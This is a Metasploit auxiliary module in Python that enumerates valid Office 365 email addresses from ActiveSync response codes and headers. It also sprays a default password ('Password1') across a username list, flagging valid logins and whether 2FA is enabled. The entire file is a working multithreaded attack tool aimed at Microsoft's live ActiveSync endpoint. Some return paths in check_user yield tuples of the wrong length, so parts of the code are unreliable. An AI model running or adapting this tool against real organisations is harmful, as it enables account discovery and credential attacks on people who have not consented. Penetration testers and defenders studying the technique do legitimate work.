metasploit-framework/modules/auxiliary/gather/office365userenum.py

454 lines
16 KiB
Python
Executable File

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
'''
. .1111... | Title: office365userenum.py
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
.00 000... | Email: oliverm@sec-1.com
1 01.. | Description:
.. | Enumerate valid usernames from Office 365 using
.. | ActiveSync.
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
.. |
grimhacker.com .. |
@grimhacker .. |
----------------------------------------------------------------------------
office365userenum - Office 365 Username Enumerator
Copyright (C) 2015 Oliver Morton (Sec-1 Ltd)
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
'''
__version__ = "$Revision: 3.0$"
# $Source$
import argparse
import threading
import logging
import sys
if sys.version_info <= (3, 0):
import Queue as queue
else:
import queue
dependencies_missing = False
try:
import requests
except ImportError as e:
print("Missing Dependency! python-requests required!")
dependencies_missing = True
VALID_USER = "VALID_USER"
INVALID_USER = "INVALID_USER"
VALID_PASSWD_2FA = "VALID_PASSWD_2FA"
VALID_LOGIN = "VALID_LOGIN"
UNKNOWN = "UNKNOWN"
DIE = "!!!AVADA KEDAVRA!!!"
SHUTDOWN_EVENT = threading.Event()
default_password = "Password1"
default_url = "https://outlook.office365.com/Microsoft-Server-ActiveSync"
default_max_threads = 10
default_timeout = 30
MSF = False
try:
from metasploit import module
MSF = True
metadata = {
'name': 'Office 365 User Enumeration',
'description': '''
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
Differences in the HTTP Response code and HTTP Headers can be used to differentiate between:
- Valid Username (Response code 401)
- Valid Username and Password without 2FA (Response Code 200)
- Valid Username and Password with 2FA (Response Code 403)
- Invalid Username (Response code 404 with Header X-CasErrorCode: UserNotFound)
Note this behaviour appears to be limited to Office365, MS Exchange does not appear to be affected.
Microsoft Security Response Center stated on 2017-06-28 that this issue does not "meet the bar for security
servicing". As such it is not expected to be fixed any time soon.
''',
'authors': [
'Oliver Morton (GrimHacker) <grimhacker@grimhacker.com>'
],
'date': '2018-09-05',
'license': 'GPL_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/'},
],
'type': 'single_scanner',
'options': {
'USERS': {
'type': 'string',
'description': 'Potential usernames file, one username per line',
'required': True,
'default': None
},
'OUTPUT': {
'type': 'string',
'description': 'Output file (will be appended to)',
'required': False,
'default': None
},
'PASSWORD': {
'type': 'string',
'description': 'Password to use during enumeration.',
'required': True,
'default': default_password
},
# TODO: MSF is adding RHOSTS automatically as a required option,
# if i rename URL to RHOSTS or RHOST the module breaks...
'URL': {
'type': 'string',
'description': 'ActiveSync URL',
'required': True,
'default': default_url
},
'THREADS': {
'type': 'int',
'description': 'Maximum threads',
'required': True,
'default': default_max_threads
},
'TIMEOUT': {
'type': 'int',
'description': 'HTTP Timeout',
'required': True,
'default': default_timeout
},
'VERBOSE': {
'type': 'bool',
'description': 'Debug logging',
'required': True,
'default': False
},
'LOGFILE': {
'type': 'string',
'description': 'Log file',
'required': False,
'default': None
},
# TODO: RPORT needs to exist or reporting the valid/invalid creds causes an error...
'RPORT': {
'type': 'int',
'description': 'IGNORE ME!',
'required': False,
'default': 443
}
}
}
except ImportError as e:
# Not running under metasploit
pass
def check_user(url, user, password, timeout):
"""Exploit the difference in HTTP responses from the ActiveSync service to identify valid and invalid usernames.
It was also identified that valid accounts with 2FA enabled can be distinguished from valid accounts without 2FA."""
headers = {"MS-ASProtocolVersion": "14.0"}
auth = (user, password)
try:
r = requests.options(url, headers=headers, auth=auth, timeout=timeout)
except Exception as e:
msg = "error checking {} : {}".format(user, e)
if MSF:
module.log(msg, "error")
else:
logging.error(msg)
return user, UNKNOWN, None
status = r.status_code
if status == 401:
return user, password, VALID_USER, r
elif status == 404:
if r.headers.get("X-CasErrorCode") == "UserNotFound":
return user, password, INVALID_USER, r
elif status == 403:
return user, VALID_PASSWD_2FA, r
elif status == 200:
return user, password, VALID_LOGIN, r
return user, password, UNKNOWN, r
def check_users(in_q, out_q, url, password, timeout):
"""Thread worker function which retrieves candidate username from input queue runs the check_user function and
outputs the result to the output queue."""
while not SHUTDOWN_EVENT.is_set():
try:
user = in_q.get()
except queue.Empty as e:
msg = "check_users: in_q empty"
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
continue
if user == DIE:
in_q.task_done()
msg = "check_users thread dying"
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
break
else:
msg = "checking: {}".format(user)
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
try:
result = check_user(url, user, password, timeout)
except Exception as e:
msg = "Error checking {} : {}".format(user, e)
if MSF:
module.log(msg, "error")
else:
logging.error(msg)
in_q.task_done()
continue
msg = "{}".format(result)
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
out_q.put(result)
in_q.task_done()
def get_users(user_file, in_q, max_threads):
"""Thread worker function. Load candidate usernames from file into input queue."""
with open(user_file, "r") as f:
for line in f:
if SHUTDOWN_EVENT.is_set():
break
user = line.strip()
msg = "user = {}".format(user)
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
in_q.put(user)
for _ in range(max_threads):
in_q.put(DIE)
def report(out_q, output_file):
"""Thread worker function. Output to terminal and file."""
msf_template = "{code} {valid} {user}:{password}"
template = "[{s}] {code} {valid} {user}:{password}"
symbols = {
VALID_USER: "+",
INVALID_USER: "-",
VALID_PASSWD_2FA: "#",
VALID_LOGIN: "!",
UNKNOWN: "?"
}
while not SHUTDOWN_EVENT.is_set():
try:
result = out_q.get()
except queue.Empty as e:
msg = "report: out_q empty"
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
continue
if result == DIE:
out_q.task_done()
msg = "report thread dying."
if MSF:
module.log(msg, "debug")
else:
logging.debug(msg)
break
else:
user, password, valid, r = result
if r is None:
code = "???"
else:
code = r.status_code
s = symbols.get(valid)
output = template.format(s=s, code=code, valid=valid, user=user, password=password)
if MSF:
msf_output = msf_template.format(code=code, valid=valid, user=user, password=password)
msf_reporters = {
VALID_USER: module.report_wrong_password,
VALID_PASSWD_2FA: module.report_correct_password,
VALID_LOGIN: module.report_correct_password
}
module.log(msf_output, "debug")
msf_reporter = msf_reporters.get(valid)
if msf_reporter is not None:
msf_reporter(user, password)
if valid in [VALID_LOGIN, VALID_PASSWD_2FA, VALID_USER]:
module.log(msf_output, "good")
else:
module.log(msf_output, "error")
else:
logging.info(output)
if output_file:
with open(output_file, "a", 1) as f:
f.write("{}\n".format(output))
out_q.task_done()
def run(args):
"""Metasploit callback.
Convert args to lowercase for internal compatibility."""
if dependencies_missing:
module.log("Module dependency (requests) is missing, cannot continue")
return
args['TIMEOUT'] = float(args['TIMEOUT'])
args['THREADS'] = int(args['THREADS'])
lower_args = {}
for arg in args:
lower_args[arg.lower()] = args[arg]
main(lower_args)
def get_banner():
"""Return version banner."""
return """
. .1111... | Title: office365userenum.py
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
.00 000... | Email: oliverm@sec-1.com
1 01.. | Description:
.. | Enumerate valid usernames from Office 365 using
.. | ActiveSync.
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
.. |
grimhacker.com .. |
@grimhacker .. |
----------------------------------------------------------------------------
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See GPLv2 License.
----------------------------------------------------------------------------
""".format(__version__)
def setup_logging(verbose=True, log_file=None):
"""Configure logging."""
if log_file is not None:
logging.basicConfig(level=logging.DEBUG,
format="%(asctime)s: %(levelname)s: %(module)s: %(message)s",
filename=log_file,
filemode='w')
console_handler = logging.StreamHandler()
formatter = logging.Formatter("%(levelname)s: %(module)s: %(message)s")
console_handler.setFormatter(formatter)
if verbose:
console_handler.setLevel(logging.DEBUG)
else:
console_handler.setLevel(logging.INFO)
logging.getLogger().addHandler(console_handler)
else:
if verbose:
level = logging.DEBUG
else:
level = logging.INFO
logging.basicConfig(level=level,
format="%(levelname)s: %(module)s: %(message)s")
def main(args):
"""Setup worker threads and handle shutdown."""
user_file = args['users']
output_file = args['output']
url = args['url']
password = args['password']
max_threads = args['threads']
timeout = args['timeout']
threads = []
meta_threads = []
max_size = max_threads / 2
if max_size < 1:
max_size = 1
in_q = queue.Queue(maxsize=max_size)
out_q = queue.Queue(maxsize=max_size)
try:
report_thread = threading.Thread(name="Thread-report", target=report, args=(out_q, output_file))
report_thread.start()
meta_threads.append(report_thread)
file_thread = threading.Thread(name="Thread-inputfile", target=get_users, args=(user_file, in_q, max_threads))
file_thread.start()
meta_threads.append(file_thread)
for num in range(max_threads):
t = threading.Thread(name="Thread-worker{}".format(num), target=check_users,
args=(in_q, out_q, url, password, timeout))
t.start()
threads.append(t)
for thread in threads:
while thread.is_alive():
thread.join(timeout=0.1)
out_q.put(DIE)
for thread in meta_threads:
while thread.is_alive():
thread.join(timeout=0.1)
except KeyboardInterrupt as e:
msg = "Received KeyboardInterrupt - shutting down"
if MSF:
module.log(msg, "critical")
else:
logging.critical(msg)
SHUTDOWN_EVENT.set()
for thread in threads:
while thread.is_alive():
thread.join(timeout=0.1)
out_q.put(DIE)
for thread in meta_threads:
while thread.is_alive():
thread.join(timeout=0.1)
if __name__ == "__main__":
if MSF:
module.log(get_banner(), "info")
module.run(metadata, run)
else:
print(get_banner())
parser = argparse.ArgumentParser(description="Enumerate Usernames (email addresses) from Office365 ActiveSync")
parser.add_argument("-u", "--users", help="Potential usernames file, one username per line", required=True)
parser.add_argument("-o", "--output", help="Output file (will be appended to)", required=True)
parser.add_argument("--password", default=default_password,
help="Password to use during enumeration. Default: {}".format(default_password))
parser.add_argument("--url", help="ActiveSync URL. Default: {}".format(default_url), default=default_url)
parser.add_argument("--threads", help="Maximum threads. Default: {}".format(default_max_threads),
default=default_max_threads, type=int)
parser.add_argument("--timeout", help="HTTP Timeout. Default: {}".format(default_timeout),
default=default_timeout, type=float)
parser.add_argument("-v", "--verbose", help="Debug logging", action="store_true")
parser.add_argument("--logfile", help="Log File", default=None)
args = parser.parse_args()
setup_logging(args.verbose, args.logfile)
main(vars(args))